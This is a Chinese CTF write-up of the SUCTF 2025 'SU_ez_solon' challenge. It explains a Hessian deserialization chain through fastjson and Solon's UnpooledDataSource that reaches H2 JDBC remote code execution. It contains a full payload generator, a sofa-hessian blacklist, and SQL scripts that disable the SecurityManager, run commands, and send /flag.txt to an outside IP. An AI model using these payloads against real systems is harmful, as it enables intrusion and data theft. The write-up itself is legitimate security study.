SU_ez_solon
solon框架触发getter新链,结合h2 rce
调试我这里是用cfr进行的反编译(有时候又不太行),然后启动项目进行的调试,用上面方法似乎只能调那个框架
前不久ccb也遇到过这个框架的Java题,不过那个是利用Linux jdk中的类作为sink点,懒得搭环境看了下wp没复现
这个题是直接给了hessian反序列化,然后调用了toString方法
1 2 3 4 5 6 7 8 9 10 11 12 13 @Controller public class IndexController { public IndexController () { } @Mapping("/hello") public String hello (@Param(defaultValue = "hello") String data) throws Exception { byte [] decode = Base64.getDecoder().decode(data); Hessian2Input hessian2Input = new Hessian2Input (new ByteArrayInputStream (decode)); Object object = hessian2Input.readObject(); return object.toString(); } }
看看依赖存在fastjson1.2.83那么就是利用这个调getter然后rce
但是sofa-hessian自带的有序列化黑名单,可以调一下看看序列化过程,弄了一个有黑名单中类的poc来调试
可以看到,序列化的时候就直接失败了,可以直接报错的地方下个断点,这样就能看到调用栈了,然后一步步跟即可
跟进getSerializer
然后进入到一开始的断点resolve
方法中
然后就是对于要序列化的类一个个检测
最终抛出TemplatesImpl
在黑名单
整个黑名单挺多的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 aj.org.objectweb.asm. br.com.anteros. bsh. ch.qos.logback. clojure. com.alibaba.citrus.springext.support.parser. com.alibaba.citrus.springext.util.SpringExtUtil. com.alibaba.druid.pool. com.alibaba.druid.stat.JdbcDataSourceStat com.alibaba.fastjson.annotation. com.alibaba.hotcode.internal.org.apache.commons.collections.functors. com.alipay.custrelation.service.model.redress. com.alipay.oceanbase.obproxy.druid.pool. com.caucho.hessian.test.TestCons com.caucho.naming.Qname com.ibatis. com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller. com.ibm.xltxe.rnm1.xtq.bcel.util. com.mchange. com.mysql.cj.jdbc.admin. com.mysql.cj.jdbc.MysqlConnectionPoolDataSource com.mysql.cj.jdbc.MysqlDataSource com.mysql.cj.jdbc.MysqlXADataSource com.mysql.cj.log. com.mysql.jdbc.util. com.p6spy.engine. com.rometools.rome.feed. com.sun. com.taobao.eagleeye.wrapper. com.taobao.vipserver.commons.collections.functors. com.zaxxer.hikari. flex.messaging.util.concurrent. groovy.lang. java.awt. java.beans. java.net.InetAddress java.net.Socket java.net.URL java.rmi. java.security. java.util.EventListener java.util.jar. java.util.logging. java.util.prefs. java.util.ServiceLoader java.util.StringTokenizer javassist. javax.activation. javax.imageio. javax.management. javax.media.jai.remote. javax.naming. javax.net. javax.print. javax.script. javax.sound. javax.swing. javax.tools. javax.xml jdk.internal. jodd.db.connection. junit. net.bytebuddy.dynamic.loading. net.sf.cglib. net.sf.ehcache.hibernate. net.sf.ehcache.transaction.manager. ognl. oracle.jdbc. oracle.jms.aq. oracle.net. org.aoju.bus.proxy.provider. org.apache.activemq.ActiveMQConnectionFactory org.apache.activemq.ActiveMQXAConnectionFactory org.apache.activemq.jms.pool. org.apache.activemq.pool. org.apache.activemq.spring. org.apache.aries.transaction. org.apache.axis2.jaxws.spi.handler. org.apache.axis2.transport.jms. org.apache.bcel. org.apache.carbondata.core.scan.expression. org.apache.catalina. org.apache.cocoon. org.apache.commons.beanutils. org.apache.commons.codec. org.apache.commons.collections.comparators. org.apache.commons.collections.functors. org.apache.commons.collections.Transformer org.apache.commons.collections4.comparators. org.apache.commons.collections4.functors. org.apache.commons.collections4.Transformer org.apache.commons.configuration. org.apache.commons.configuration2. org.apache.commons.dbcp. org.apache.commons.fileupload. org.apache.commons.jelly. org.apache.commons.logging. org.apache.commons.proxy. org.apache.cxf.jaxrs.provider. org.apache.hadoop.shaded.com.zaxxer.hikari. org.apache.http.auth. org.apache.http.conn. org.apache.http.cookie. org.apache.http.impl. org.apache.ibatis.datasource. org.apache.ibatis.executor. org.apache.ibatis.javassist. org.apache.ibatis.ognl. org.apache.ibatis.parsing. org.apache.ibatis.reflection. org.apache.ibatis.scripting. org.apache.ignite.cache. org.apache.ignite.cache.jta. org.apache.log.output.db. org.apache.log4j. org.apache.logging. org.apache.myfaces.context.servlet. org.apache.myfaces.view.facelets.el. org.apache.openjpa.ee. org.apache.shiro. org.apache.tomcat. org.apache.velocity. org.apache.wicket.util. org.apache.xalan. org.apache.xbean. org.apache.xpath. org.apache.zookeeper. org.aspectj. org.codehaus.groovy.runtime. org.codehaus.jackson. org.datanucleus.store.rdbms.datasource.dbcp.datasources. org.dom4j. org.eclipse.jetty. org.geotools.filter. org.h2.jdbcx. org.h2.server. org.h2.value. org.hibernate. org.javasimon. org.jaxen. org.jboss. org.jdom. org.jdom2.transform. org.junit. org.logicalcobwebs. org.mockito. org.mortbay.jetty. org.mortbay.log. org.mozilla.javascript. org.objectweb.asm. org.osjava.sj. org.python.core. org.quartz. org.slf4j. org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor org.springframework.beans.factory.BeanFactory org.springframework.beans.factory.config.PropertyPathFactoryBean org.springframework.beans.factory.support.DefaultListableBeanFactory org.springframework.jndi.support.SimpleJndiBeanFactory org.springframework.orm.jpa.AbstractEntityManagerFactoryBean org.springframework.transaction.jta.JtaTransactionManager org.springframework.jndi.JndiObjectTargetSource org.springframework.beans.factory.config.MethodInvokingFactoryBean org.thymeleaf. org.yaml.snakeyaml.tokens. pstore.shaded.org.apache.commons.collections. sun.print. sun.rmi.server. sun.rmi.transport. weblogic.ejb20.internal. weblogic.jms.common.
基本上都在这里面了,所以现在就需要找一条能够触发DriverManager.getConnection
的类,用来打h2 rce,这里利用tabby,借用bmth师傅的规则
1 2 match path=(m1:Method)-[:CALL*..10 ]->(m2:Method {IS_SINK:true }) where m1.NAME =~ "get.*" and m1.PARAMETER_SIZE=0 and m2.VUL="JNDI" return path limit 10
成功找到UnpooledDataSource
类
payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import com.alibaba.fastjson.JSONObject;import com.caucho.hessian.io.Hessian2Output;import com.caucho.hessian.io.SerializerFactory;import org.noear.solon.data.util.UnpooledDataSource;import sun.reflect.ReflectionFactory;import java.io.ByteArrayOutputStream;import java.lang.reflect.Constructor;import java.util.Base64;public class test { public static void main (String[] args) throws Exception{ ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructorForSerialization = reflectionFactory .newConstructorForSerialization(UnpooledDataSource.class, constructor); constructorForSerialization.setAccessible(true ); UnpooledDataSource unpooledDataSource = (UnpooledDataSource) constructorForSerialization.newInstance(); unpooledDataSource.setUrl("jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8888/poc.sql'" ); JSONObject jsonObject = new JSONObject (); jsonObject.put("ds" , unpooledDataSource); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); Hessian2Output hessianOutput = new Hessian2Output (byteArrayOutputStream); hessianOutput.setSerializerFactory(new SerializerFactory ()); hessianOutput.getSerializerFactory().setAllowNonSerializable(true ); hessianOutput.writeObject(jsonObject); hessianOutput.flush(); byte [] data = byteArrayOutputStream.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String payload = encoder.encodeToString(data); System.out.println(payload); } }
然后题目中还有一个securityManager需要绕过
那么在命令执行前将其设置为null即可,poc.sql如下
1 CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {System.setSecurityManager(null);Runtime.getRuntime().exec(cmd);return "su18";}' ;CALL EXEC ('calc' )
读取文件的poc.sql
1 2 3 CREATE ALIAS EXECf AS 'String shellexec(String cmd) throws java.io.IOException {String str = "";java.io.File file = new java.io.File("/flag.txt");try (java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.FileReader(file))) {String line;while ((line = reader.readLine()) != null) { str += line;}} catch (java.io.IOException e) {e.printStackTrace();} java.net.URL url = new java.net.URL("http://8.134.216.221:1234/test?str="+str);java.net.HttpURLConnection connection = (java.net.HttpURLConnection) url.openConnection();connection.setRequestMethod("GET");connection.setRequestProperty("User-Agent", "Java HTTP Client");int responseCode = connection.getResponseCode(); return "";}' ; CALL EXECf ('114514' )
利用链
1 2 3 4 com.alibaba.fastjson.JSONObject.toString =>org.noear.solon.data.util.UnpooledDataSource.getConnection =>java.sql.DriverManager.getConnection =>RCE
有些点没细跟,后面遇到了再说,主要学一下hessian反序列化,复现遇到一堆奇奇怪怪的问题,难绷,一度不想看了。。。。
参考 2025 SUCTF java题复现 | Bmth’s blog
SUCTF2025 出题记录 - yulate’s blog
SUCTF2025 Web方向部分思路 | Err0r233
https://blog.potatowo.top/2025/01/15/SUCTF2025